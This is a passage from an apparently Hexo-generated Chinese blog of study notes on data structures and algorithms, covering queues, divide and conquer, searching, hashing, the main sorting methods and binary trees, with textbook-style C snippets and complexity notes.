class="params">(LinkQueue &amp;Q,QElemType &amp;e)</span>&#123;</span><br><span class="line">   <span class="keyword">if</span>(Q.front==Q.rear) <span class="keyword">return</span> ERROR;</span><br><span class="line">   p=Q.front-&gt;next;</span><br><span class="line">   e=p-&gt;data;</span><br><span class="line">   Q.front-&gt;next=p-&gt;next;</span><br><span class="line">   <span class="keyword">if</span>(Q.rear==p) Q.rear=Q.front;</span><br><span class="line">   <span class="built_in">free</span>(p);</span><br><span class="line">   <span class="keyword">return</span> OK;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="多维数组"><a href="#多维数组" class="headerlink" title="多维数组"></a>多维数组</h2><p><img src="G:\hexo-blog\source_posts\数据结构与算法笔记.assets\image-20231225002740712.png" alt="image-20231225002740712"></p><p><img src="G:\hexo-blog\source_posts\数据结构与算法笔记.assets\image-20231225002807844.png" alt="image-20231225002807844"></p><h2 id="分治算法"><a href="#分治算法" class="headerlink" title="分治算法"></a>分治算法</h2><p><img src="G:\hexo-blog\source_posts\数据结构与算法笔记.assets\image-20231206225119768.png" alt="image-20231206225119768"></p><h3 id="分治算法的适用条件"><a href="#分治算法的适用条件" class="headerlink" title="分治算法的适用条件"></a>分治算法的适用条件</h3><ol><li>该问题规模缩小到一定的程度就可以容易地解决</li><li>该问题可以分解为若干个规模较小的相同问题，即该问题具有递归子结构性质</li><li>利用该问题分解出的子问题的解可以合并为该问题的解</li><li>该问题所分解出的各个子问题是相互独立的，即子问题之间不包含公共的子问题</li></ol><h3 id="分治算法的复杂性分析"><a href="#分治算法的复杂性分析" class="headerlink" title="分治算法的复杂性分析"></a>分治算法的复杂性分析</h3><p><img src="G:\hexo-blog\source_posts\数据结构与算法笔记.assets\image-20231206225429113.png" alt="image-20231206225429113"></p><h2 id="排序和搜索"><a href="#排序和搜索" class="headerlink" title="排序和搜索"></a>排序和搜索</h2><h3 id="合并排序"><a href="#合并排序" class="headerlink" title="合并排序"></a>合并排序</h3><p>主要思想：</p><ul><li>将数组分成均匀两半（divide）.</li><li>递归解决每个半部分（sort）.</li><li>把两部分合并起来组成一个新的排序（merge）.</li></ul><p><img src="G:\hexo-blog\source_posts\数据结构与算法笔记.assets\image-20231206225730807.png" alt="image-20231206225730807"></p><h4 id="算法实现"><a href="#算法实现" class="headerlink" title="算法实现"></a>算法实现</h4><p><img src="G:\hexo-blog\source_posts\数据结构与算法笔记.assets\image-20231206234629808.png" alt="image-20231206234629808"></p><p>合并函数Merge的实现</p><p><img src="G:\hexo-blog\source_posts\数据结构与算法笔记.assets\image-20231206225916139.png" alt="image-20231206225916139"></p><h4 id="合并排序的计算时间"><a href="#合并排序的计算时间" class="headerlink" title="合并排序的计算时间"></a>合并排序的计算时间</h4><h5 id="递归树展开"><a href="#递归树展开" class="headerlink" title="递归树展开"></a>递归树展开</h5><p><img src="G:\hexo-blog\source_posts\数据结构与算法笔记.assets\image-20231206232041554.png" alt="image-20231206232041554"></p><h5 id="直接展开"><a href="#直接展开" class="headerlink" title="直接展开"></a>直接展开</h5><p><img src="G:\hexo-blog\source_posts\数据结构与算法笔记.assets\image-20231206232059654.png" alt="image-20231206232059654"></p><h5 id="数学归纳"><a href="#数学归纳" class="headerlink" title="数学归纳"></a>数学归纳</h5><p><img src="G:\hexo-blog\source_posts\数据结构与算法笔记.assets\image-20231206233433834.png" alt="image-20231206233433834"></p><h3 id="快速排序"><a href="#快速排序" class="headerlink" title="快速排序"></a>快速排序</h3><p>基本思想</p><p><img src="G:\hexo-blog\source_posts\数据结构与算法笔记.assets\image-20231206234408095.png" alt="image-20231206234408095"></p><h4 id="算法实现-1"><a href="#算法实现-1" class="headerlink" title="算法实现"></a>算法实现</h4><p><img src="G:\hexo-blog\source_posts\数据结构与算法笔记.assets\image-20231206235848725.png" alt="image-20231206235848725"> </p><p><img src="G:\hexo-blog\source_posts\数据结构与算法笔记.assets\image-20231206235253252.png" alt="image-20231206235253252"></p><h4 id="快速排序的计算时间"><a href="#快速排序的计算时间" class="headerlink" title="快速排序的计算时间"></a>快速排序的计算时间</h4><p><img src="G:\hexo-blog\source_posts\数据结构与算法笔记.assets\image-20231207000637393.png" alt="image-20231207000637393"></p><h3 id="二分搜索-折半查找"><a href="#二分搜索-折半查找" class="headerlink" title="二分搜索&#x2F;折半查找"></a>二分搜索&#x2F;折半查找</h3><h4 id="算法和时间复杂度"><a href="#算法和时间复杂度" class="headerlink" title="算法和时间复杂度"></a>算法和时间复杂度</h4><p><img src="G:\hexo-blog\source_posts\数据结构与算法笔记.assets\image-20231222001541952.png" alt="image-20231222001541952"></p><h3 id="递归式求解"><a href="#递归式求解" class="headerlink" title="递归式求解"></a>递归式求解</h3><p>三种常用方法：</p><ul><li><p>归纳法</p></li><li><p>展开法</p></li><li><p>主方法</p></li></ul><h4 id="主方法"><a href="#主方法" class="headerlink" title="主方法"></a>主方法</h4><p><img src="G:\hexo-blog\source_posts\数据结构与算法笔记.assets\image-20231222002015583.png" alt="image-20231222002015583"></p><h4 id="主定理"><a href="#主定理" class="headerlink" title="主定理"></a>主定理</h4><p><img src="G:\hexo-blog\source_posts\数据结构与算法笔记.assets\image-20231222002608857.png" alt="image-20231222002608857"></p><p><img src="G:\hexo-blog\source_posts\数据结构与算法笔记.assets\image-20231222002622021.png" alt="image-20231222002622021"></p><h4 id="举例"><a href="#举例" class="headerlink" title="举例"></a>举例</h4><p><img src="G:\hexo-blog\source_posts\数据结构与算法笔记.assets\image-20231222002240212.png" alt="image-20231222002240212"></p><p><img src="G:\hexo-blog\source_posts\数据结构与算法笔记.assets\image-20231222002255618.png" alt="image-20231222002255618"></p><h4 id="特殊情况"><a href="#特殊情况" class="headerlink" title="特殊情况"></a>特殊情况</h4><p><img src="G:\hexo-blog\source_posts\数据结构与算法笔记.assets\image-20231222002405412.png" alt="image-20231222002405412"></p><h2 id="查找"><a href="#查找" class="headerlink" title="查找"></a>查找</h2><h3 id="顺序查找"><a href="#顺序查找" class="headerlink" title="顺序查找"></a>顺序查找</h3><blockquote><p>改进：把待查关键字key存入表头（“哨兵”），从后向前逐个比较，可免去查找过程中每一步都要检测是否查找完毕，加快速度。</p></blockquote><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">int</span> <span class="title function_">Search_Seq</span><span class="params">( SSTable  ST , KeyType  key )</span>&#123;</span><br><span class="line">   <span class="comment">//若成功返回其位置信息，否则返回0</span></span><br><span class="line">  ST.R[<span class="number">0</span>].key =key;   </span><br><span class="line"> <span class="keyword">for</span>( i=ST.length; ST.R[ i ].key!=key;  - - i  );</span><br><span class="line"> <span class="comment">//不用for(i=n; i&gt;0; - -i) 或 for(i=1; i&lt;=n; i++)  </span></span><br><span class="line">   <span class="keyword">return</span> i; </span><br><span class="line"></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><ul><li>空间复杂度：一个辅助空间。</li><li>时间复杂度：<ul><li>查找成功时的平均查找长度<br>设表中各记录查找概率相等<br>$ASL_s(n)&#x3D;(1+2+ … +n)&#x2F;n &#x3D;(n+1)&#x2F;2$</li><li>查找不成功时的平均查找长度    $ASL_f &#x3D;n+1$</li></ul></li></ul><h3 id="折半查找"><a href="#折半查找" class="headerlink" title="折半查找"></a>折半查找</h3><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">int</span> <span class="title function_">Search_Bin</span><span class="params">(SSTable ST,KeyType key)</span>&#123;</span><br><span class="line"><span class="comment">//若找到，则函数值为该元素在表中的位置，否则为0</span></span><br><span class="line">    low=<span class="number">1</span>;high=ST.length; <span class="keyword">while</span>(low&lt;=high)&#123;</span><br><span class="line">        mid=(low+high)/<span class="number">2</span>;</span><br><span class="line">        <span class="keyword">if</span>(key==ST.R[mid].key) <span class="keyword">return</span> mid; </span><br><span class="line">        <span class="keyword">else</span> <span class="keyword">if</span>(key&lt;ST.R[mid].key) high=mid<span class="number">-1</span>;<span class="comment">//前一子表查找</span></span><br><span class="line">        <span class="keyword">else</span> low=mid+<span class="number">1</span>;                       <span class="comment">//后一子表查找</span></span><br><span class="line">    &#125;    </span><br><span class="line">    <span class="keyword">return</span> <span class="number">0</span>;<span class="comment">//表中不存在待查元素</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>递归方式</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">int</span> <span class="title function_">Search_Bin</span> <span class="params">(SSTable ST, keyType key, <span class="type">int</span> low, <span class="type">int</span> high)</span> </span><br><span class="line">&#123; </span><br><span class="line">  <span class="keyword">if</span>(low&gt;high) <span class="keyword">return</span> <span class="number">0</span>;   <span class="comment">//查找不到时返回0 </span></span><br><span class="line">  mid=(low+high)/<span class="number">2</span>; </span><br><span class="line">  <span class="keyword">if</span>(key等于ST.elem[mid].key)  <span class="keyword">return</span> mid; </span><br><span class="line">  <span class="keyword">else</span> <span class="keyword">if</span>(key小于ST.elem[mid].key)  </span><br><span class="line">    ……..<span class="comment">//递归</span></span><br><span class="line">  <span class="keyword">else</span>…….  <span class="comment">//递归</span></span><br><span class="line">&#125; </span><br></pre></td></tr></table></figure><blockquote><p>查找过程：每次将待查记录所在区间缩小一半，比顺序查找效率高,时间复杂度$O(\log_2n)$</p><p>适用条件：采用顺序存储结构的有序表，不宜用于链式结构</p></blockquote><h3 id="索引表的查找"><a href="#索引表的查找" class="headerlink" title="索引表的查找"></a>索引表的查找</h3><ul><li>分块查找</li></ul><h3 id="分块查找"><a href="#分块查找" class="headerlink" title="分块查找"></a>分块查找</h3><p>分块有序，即分成若干子表，要求每个子表中的数值都比后一块中数值小（<strong>但子表内部未必有序</strong>）。<br>然后将各子表中的最大关键字构成一个索引表，表中还要包含<strong>每个子表的起始地址（即头指针）</strong>。</p><p><img src="G:\hexo-blog\source_posts\数据结构与算法笔记.assets\image-20231223005627456.png" alt="image-20231223005627456"></p><h4 id="分块查找过程"><a href="#分块查找过程" class="headerlink" title="分块查找过程"></a>分块查找过程</h4><ol><li>对索引表使用<strong>折半查找法</strong>（因为索引表是有序表）；</li><li>确定了待查关键字所在的子表后，在子表内采用<strong>顺序查找法</strong>（因为各子表内部是无序表）；</li></ol><h4 id="分块查找性能分析"><a href="#分块查找性能分析" class="headerlink" title="分块查找性能分析"></a>分块查找性能分析</h4><p><img src="G:\hexo-blog\source_posts\数据结构与算法笔记.assets\image-20231223005806882.png" alt="image-20231223005806882"></p><h4 id="分块查找优缺点"><a href="#分块查找优缺点" class="headerlink" title="分块查找优缺点"></a>分块查找优缺点</h4><p><strong>优点：</strong>插入和删除比较容易，无需进行大量移动。</p><p><strong>缺点：</strong>要增加一个索引表的存储空间并对初始索引表进行排序运算。</p><p><strong>适用情况：</strong>如果线性表既要快速查找又经常动态变化，则可采用分块查找。</p><h3 id="哈希表查找"><a href="#哈希表查找" class="headerlink" title="哈希表查找"></a>哈希表查找</h3><h4 id="有关术语"><a href="#有关术语" class="headerlink" title="有关术语"></a>有关术语</h4><p><strong>哈希方法：</strong><br>选取某个函数，依该函数按关键字计算元素的存储位置，并按此存放；<br>查找时，由同一个函数对给定值k计算地址，将k与地址单元中元素关键码进行比较，确定查找是否成功。</p><p><strong>哈希函数：</strong>哈希方法中使用的转换函数</p><p><img src="G:\hexo-blog\source_posts\数据结构与算法笔记.assets\image-20231223010108740.png" alt="image-20231223010108740"></p><p>冲突不可避免，哈希方法一般采用除留余数法。</p><h4 id="哈希表的查找"><a href="#哈希表的查找" class="headerlink" title="哈希表的查找"></a>哈希表的查找</h4><p><img src="G:\hexo-blog\source_posts\数据结构与算法笔记.assets\image-20231223010410001.png" alt="image-20231223010410001"></p><p><img src="G:\hexo-blog\source_posts\数据结构与算法笔记.assets\image-20231223010419020.png" alt="image-20231223010419020"></p><h4 id="哈希表的查找效率分析"><a href="#哈希表的查找效率分析" class="headerlink" title="哈希表的查找效率分析"></a>哈希表的查找效率分析</h4><p><img src="G:\hexo-blog\source_posts\数据结构与算法笔记.assets\image-20231223010503904.png" alt="image-20231223010503904"></p><p><strong>ASL与装填因子$\alpha$有关！既不是严格的$O(1)$，也不是$O(n)$</strong></p><ul><li>哈希表的平均查找长度是装填因子$\alpha$的函数，而不是 $n$ 的函数。</li><li>这说明，用哈希表构造查找表时，可以选择一个适当的装填因子 $\alpha$，使得平均查找长度限定在某个范围内。</li></ul><h4 id="几点结论"><a href="#几点结论" class="headerlink" title="几点结论"></a>几点结论</h4><ul><li>对哈希表技术具有很好的平均性能，优于一些传统的技术</li><li>链地址法优于开放地址法</li><li>除留余数法作哈希函数优于其它类型函数</li></ul><h2 id="排序"><a href="#排序" class="headerlink" title="排序"></a>排序</h2><p><strong>排序算法的好坏如何衡量？</strong></p><ul><li>时间效率——排序速度（比较次数与移动次数）</li><li>空间效率——占内存辅助空间的大小</li><li>稳定性——A和B的关键字相等，排序后A、B的先后次序保持不变，则称这种排序算法是稳定的。否则就是不稳定的。</li></ul><h3 id="插入排序"><a href="#插入排序" class="headerlink" title="插入排序"></a>插入排序</h3><ul><li>直接插入排序</li><li>折半插入排序</li><li>希尔排序</li></ul><p>直接插入排序是最简单的排序法</p><p><img src="G:\hexo-blog\source_posts\数据结构与算法笔记.assets\image-20231223011039541.png" alt="image-20231223011039541"></p><h4 id="直接插入排序"><a href="#直接插入排序" class="headerlink" title="直接插入排序"></a>直接插入排序</h4><p><img src="G:\hexo-blog\source_posts\数据结构与算法笔记.assets\image-20231223011158037.png" alt="image-20231223011158037"></p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">void</span> <span class="title function_">InsertSort</span><span class="params">(SqList ＆L)</span></span><br><span class="line"> &#123;<span class="type">int</span> i,j;</span><br><span class="line">   <span class="keyword">for</span>(i=<span class="number">2</span>;i&lt;=L.length;++i)</span><br><span class="line">     <span class="keyword">if</span>( L.r[i].key&lt;L.r[i<span class="number">-1</span>].key)<span class="comment">//将L.r[i]插入有序子表</span></span><br><span class="line">       &#123; L.r[<span class="number">0</span>]=L.r[i]; <span class="comment">// 复制为哨兵</span></span><br><span class="line">          L.r[i]=L.r[i<span class="number">-1</span>];</span><br><span class="line">          <span class="keyword">for</span>(j=i<span class="number">-2</span>; L.r[<span class="number">0</span>].key&lt;L.r[j].key;--j)</span><br><span class="line">            L.r[j+<span class="number">1</span>]=L.r[j]; <span class="comment">// 记录后移 </span></span><br><span class="line">         L.r[j+<span class="number">1</span>]=L.r[<span class="number">0</span>]; <span class="comment">//插入到正确位置</span></span><br><span class="line">       &#125;</span><br><span class="line"> &#125;</span><br></pre></td></tr></table></figure><p>时间复杂度为 $O(n^2)$<br>空间复杂度为 $O(1)$<br>是一种<strong>稳定</strong>的排序方法</p><h3 id="折半查找-1"><a href="#折半查找-1" class="headerlink" title="折半查找"></a>折半查找</h3><p>前面的ppt好像讲过了？</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line">Status <span class="title function_">BInsertSort</span> <span class="params">( SqList &amp;L )</span></span><br><span class="line"> &#123; <span class="keyword">for</span> ( i = <span class="number">2</span>;  i &lt;= L.length ; ++i )</span><br><span class="line">    &#123;  L.r[<span class="number">0</span>] = L.r[i]; low = <span class="number">1</span> ; high = i<span class="number">-1</span> ;</span><br><span class="line">       <span class="keyword">while</span> ( low &lt;= high )       </span><br><span class="line">          &#123;  m = ( low + high ) / <span class="number">2</span> ; </span><br><span class="line">             <span class="keyword">if</span>  ( LT( L.r[<span class="number">0</span>].key , L.r[m]. key ) )  high = m <span class="number">-1</span> ;</span><br><span class="line">            <span class="keyword">else</span>  low = m + <span class="number">1</span>; </span><br><span class="line">           &#125;</span><br><span class="line">       <span class="keyword">for</span> ( j=i<span class="number">-1</span>; j&gt;=high+<span class="number">1</span>; - - j ) L.r[j+<span class="number">1</span>] = L.r[j];</span><br><span class="line">       L.r[high+<span class="number">1</span>] = L.r[<span class="number">0</span>];</span><br><span class="line">     &#125;</span><br><span class="line">  &#125;  <span class="comment">// BInsertSort</span></span><br><span class="line"></span><br></pre></td></tr></table></figure><p>折半查找比顺序查找快，所以折半插入排序就平均性能来说比直接插入排序要快</p><p>当 n 较大时，总关键码比较次数比直接插入排序的最坏情况要好得多，但比其最好情况要差<br>在对象的初始排列已经按关键码排好序或接近有序时，直接插入排序比折半插入排序执行的关键码比较次数要少<br>折半插入排序的对象移动次数与直接插入排序相同，依赖于对象的初始排列</p><p>减少了比较次数，但没有减少移动次数<br>平均性能优于直接插入排序</p><p>时间复杂度为 $O(n^2)$<br>空间复杂度为 $O(1)$<br>是一种<strong>稳定</strong>的排序方法</p><h3 id="希尔排序"><a href="#希尔排序" class="headerlink" title="希尔排序"></a>希尔排序</h3><p>先将整个待排记录序列分割成若干子序列,分别进行直接插入排序，待整个序列中的记录“基本有序”时，再对全体记录进行一次直接插入排序。</p><p><img src="G:\hexo-blog\source_posts\数据结构与算法笔记.assets\image-20231225002909004.png" alt="image-20231225002909004"></p><p><img src="G:\hexo-blog\source_posts\数据结构与算法笔记.assets\image-20231225002937357.png" alt="image-20231225002937357"></p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">void</span>   <span class="title function_">ShellSort</span><span class="params">(SqList &amp;L，<span class="type">int</span> delta[ ]，<span class="type">int</span> t)</span>&#123;</span><br><span class="line">        <span class="comment">//按增量序列delta[0…t-1]对顺序表L作Shell排序</span></span><br><span class="line">   <span class="keyword">for</span>(k=<span class="number">0</span>；k&lt;t；++k)</span><br><span class="line">    　ShellInsert(L，delta[k])；</span><br><span class="line">　 　<span class="comment">//增量为delta[k]的一趟插入排序</span></span><br><span class="line">&#125;  <span class="comment">// ShellSort</span></span><br></pre></td></tr></table></figure><p><img src="G:\hexo-blog\source_posts\数据结构与算法笔记.assets\image-20231225003022704.png" alt="image-20231225003022704"></p><p><img src="G:\hexo-blog\source_posts\数据结构与算法笔记.assets\image-20231225003045557.png" alt="image-20231225003045557"></p><p><img src="G:\hexo-blog\source_posts\数据结构与算法笔记.assets\image-20231225003107740.png" alt="image-20231225003107740"></p><h3 id="交换排序"><a href="#交换排序" class="headerlink" title="交换排序"></a>交换排序</h3><p>两两比较，如果发生逆序则交换，直到所有记录都排好序为止。</p><p>冒泡排序$O(n^2)$<br>快速排序$O( n\log_2n )$</p><h4 id="冒泡排序"><a href="#冒泡排序" class="headerlink" title="冒泡排序"></a>冒泡排序</h4><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">void</span> <span class="title function_">bubble_sort</span><span class="params">(SqList &amp;L)</span></span><br><span class="line">&#123; <span class="type">int</span> m,i,j,flag=<span class="number">1</span>;   RedType x;</span><br><span class="line">  m=n<span class="number">-1</span>;</span><br><span class="line">  <span class="keyword">while</span>((m&gt;<span class="number">0</span>)&amp;&amp;(flag==<span class="number">1</span>))</span><br><span class="line">  &#123;  flag=<span class="number">0</span>;</span><br><span class="line">     <span class="keyword">for</span>(j=<span class="number">1</span>;j&lt;=m;j++)</span><br><span class="line">        <span class="keyword">if</span>(L.r[j].key&gt;L.r[j+<span class="number">1</span>].key)</span><br><span class="line">         &#123;  flag=<span class="number">1</span>;</span><br><span class="line">            x=L.r[j];L.r[j]=L.r[j+<span class="number">1</span>];L.r[j+<span class="number">1</span>]=x; <span class="comment">//交换</span></span><br><span class="line">          &#125;<span class="comment">//endif</span></span><br><span class="line">     m--;</span><br><span class="line">   &#125;<span class="comment">//endwhile</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>时间复杂度为 $O(n^2)$<br>空间复杂度为 $O(1)$<br>是一种<strong>稳定</strong>的排序方法</p><h4 id="快速排序-1"><a href="#快速排序-1" class="headerlink" title="快速排序"></a>快速排序</h4><p>前面也讲过了</p><p>①每一趟的子表的形成是采用从两头向中间交替式逼近法；</p><p>②由于每趟中对各子表的操作都相似，可采用递归算法。</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">void</span> <span class="title function_">QSort</span> <span class="params">( SqList &amp;L，<span class="type">int</span> low,  <span class="type">int</span>  high )</span> </span><br><span class="line">&#123;  <span class="keyword">if</span>  ( low &lt; high ) </span><br><span class="line">    &#123;  pivotloc = Partition(L, low, high ) ;</span><br><span class="line">        Qsort (L, low, pivotloc<span class="number">-1</span>) ; </span><br><span class="line">        Qsort (L, pivotloc+<span class="number">1</span>, high ) </span><br><span class="line">     &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="type">int</span> <span class="title function_">Partition</span> <span class="params">( SqList &amp;L，<span class="type">int</span> low,  <span class="type">int</span>  high )</span> </span><br><span class="line">&#123;  L.r[<span class="number">0</span>] = L.r[low];   pivotkey = L.r[low].key;</span><br><span class="line">   <span class="keyword">while</span>  ( low &lt; high ) </span><br><span class="line">    &#123; <span class="keyword">while</span> ( low &lt; high &amp;&amp; L.r[high].key &gt;= pivotkey )  --high;</span><br><span class="line">                 L.r[low] = L.r[high];</span><br><span class="line">      <span class="keyword">while</span> ( low &lt; high &amp;&amp; L.r[low].key &lt;= pivotkey )  ++low;</span><br><span class="line">                 L.r[high] = L.r[low];</span><br><span class="line">     &#125;</span><br><span class="line">    L.r[low]=L.r[<span class="number">0</span>]; </span><br><span class="line">    <span class="keyword">return</span> low;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>可以证明，平均计算时间是$O(n\log_2n)$。<br>实验结果表明：就平均计算时间而言，快速排序是我们所讨论的所有内排序方法中最好的一个。<br>快速排序是递归的，需要有一个栈存放每层递归调用时参数（新的low和high）。<br>最大递归调用层次数与递归树的深度一致，因此，平均情况下空间复杂度为$O(\log_2n)$，最坏情况下为$O(n)$ 。</p><p>时间复杂度：$O(n^2) $<br>平均时间效率：$O(n\log_2n) $<br>空间效率：$O(n)$—递归要用到栈空间<br>稳 定 性： 不稳定   —可选任一元素为支点。</p><h3 id="归并排序"><a href="#归并排序" class="headerlink" title="归并排序"></a>归并排序</h3><p>排序过程<br>初始序列看成n个有序子序列，每个子序列长度为1<br>两两合并，得到$\lfloor$n&#x2F;2$\rfloor$个长度为2或1的有序子序列<br>再两两合并，重复直至得到一个长度为n的有序序列为止</p><p>时间效率：$O(n\log_2n) $<br>空间效率：$O(n)$<br>稳 定 性：稳定</p><h4 id="选择排序"><a href="#选择排序" class="headerlink" title="选择排序"></a>选择排序</h4><p>前面讲过了</p><p>每一趟在后面 $n-i +1$个中选出关键码最小的对象, 作为有序序列的第$ i $个记录</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">void</span> <span class="title function_">SelectSort</span><span class="params">(SqList &amp;K)</span></span><br><span class="line"> &#123; </span><br><span class="line">    <span class="keyword">for</span> (i=<span class="number">1</span>; i&lt;L.length; ++i)</span><br><span class="line">    &#123; <span class="comment">//在L.r[i..L.length] 中选择key最小的记录</span></span><br><span class="line">        k=i;     </span><br><span class="line">        <span class="keyword">for</span>( j=i+<span class="number">1</span>;j&lt;=L.length ; j++)</span><br><span class="line">            <span class="keyword">if</span> ( L.r[j].key &lt;L.r[k].key) k=j; </span><br><span class="line">        <span class="keyword">if</span>(k!=i)L.r[i]←→L.r[k];            </span><br><span class="line">    &#125;  </span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>时间复杂度：$O(n²)$<br>空间复杂度：$O(1)$<br>不稳定</p><h3 id="堆排序"><a href="#堆排序" class="headerlink" title="堆排序"></a>堆排序</h3><h4 id="堆的定义"><a href="#堆的定义" class="headerlink" title="堆的定义"></a>堆的定义</h4><p><img src="G:\hexo-blog\source_posts\数据结构与算法笔记.assets\image-20231224010047831.png" alt="image-20231224010047831"></p><p><img src="G:\hexo-blog\source_posts\数据结构与算法笔记.assets\image-20231224010208704.png" alt="image-20231224010208704"></p><h4 id="基本思想"><a href="#基本思想" class="headerlink" title="基本思想"></a>基本思想</h4><p><img src="G:\hexo-blog\source_posts\数据结构与算法笔记.assets\image-20231224010347129.png" alt="image-20231224010347129"></p><p>有n 个结点的完全二叉树，最后一个分支结点的标号是$\lfloor$$\frac{n}{2}$$\rfloor$</p><p>将根结点r[1]与左、右子树根结点比较，并与大者交换<br>重复直至叶子结点，得到新的堆</p><p>时间效率：$O(n\log_2n) $<br>空间效率：$O(1)$<br>稳 定 性：不稳定<br>适用于$n$ 较大的情况</p><h2 id="树和二叉树"><a href="#树和二叉树" class="headerlink" title="树和二叉树"></a>树和二叉树</h2><p>二叉树是有序树（子树有序，不能颠倒）</p><ul><li>性质1: 在二叉树的第i层上至多有$2^i-1$个结点</li><li>性质2: 深度为k的二叉树至多有$2^k-1$个结点</li><li>性质3: 对于任何一棵二叉树，若2度的结点数有$n_2$个，则叶子数$n_0$必定为$n_2＋1 $（即$n_0&#x3D;n_2+1$）</li><li>性质4: 具有n个结点的完全二叉树的深度必为$⌊log2n⌋+1$</li><li>性质5: 对完全二叉树，若从上至下、从左至右编号，则编号为i 的结点，其左孩子编号必为2i，其右孩子编号必为2i＋1；其双亲的编号必为i&#x2F;2。</li></ul><h3 id="满二叉树和完全二叉树"><a href="#满二叉树和完全二叉树" class="headerlink" title="满二叉树和完全二叉树"></a>满二叉树和完全二叉树</h3><p><img src="G:\hexo-blog\source_posts\数据结构与算法笔记.assets\image-20231225003500795.png" alt="image-20231225003500795"></p><p>满二叉树是叶子一个也不少的树，而完全二叉树虽然前n-1层是满的，但最底层却允许在右边缺少连续若干个结点。满二叉树是完全二叉树的一个特例。</p><p>对n个元素组成的有序顺序表进行折半查找时，查找成功时的比较次数最多为$⌊log2n⌋+1$</p><p><img src="G:\hexo-blog\source_posts\数据结构与算法笔记.assets\image-20231225003828059.png" alt="image-20231225003828059"></p><h3 id="二叉链表"><a href="#二叉链表" class="headerlink" title="二叉链表"></a>二叉链表</h3><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">typedef</span> <span class="class"><span class="keyword">struct</span> <span class="title">BiNode</span>&#123;</span></span><br><span class="line">   TElemType   data;</span><br><span class="line">   <span class="class"><span class="keyword">struct</span>  <span class="title">BiNode</span>   *<span class="title">lchild</span>,*<span class="title">rchild</span>;</span> <span class="comment">//左右孩子指针</span></span><br><span class="line">&#125;BiNode,*BiTree; </span><br></pre></td></tr></table></figure><p><img src="G:\hexo-blog\source_posts\数据结构与算法笔记.assets\image-20231225003946603.png" alt="image-20231225003946603"></p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">typedef</span> <span class="class"><span class="keyword">struct</span> <span class="title">TriTNode</span>&#123;</span>  TelemType data;   <span class="class"><span class="keyword">struct</span> <span class="title">TriTNode</span> *<span class="title">lchild</span>,*<span class="title">parent</span>,*<span class="title">rchild</span>;</span> &#125;TriTNode,*TriTree;</span><br><span class="line"><span class="comment">//三叉链表</span></span><br></pre></td></tr></table></figure><h3 id="遍历二叉树"><a href="#遍历二叉树" class="headerlink" title="遍历二叉树"></a>遍历二叉树</h3><p>先序</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">Status <span class="title 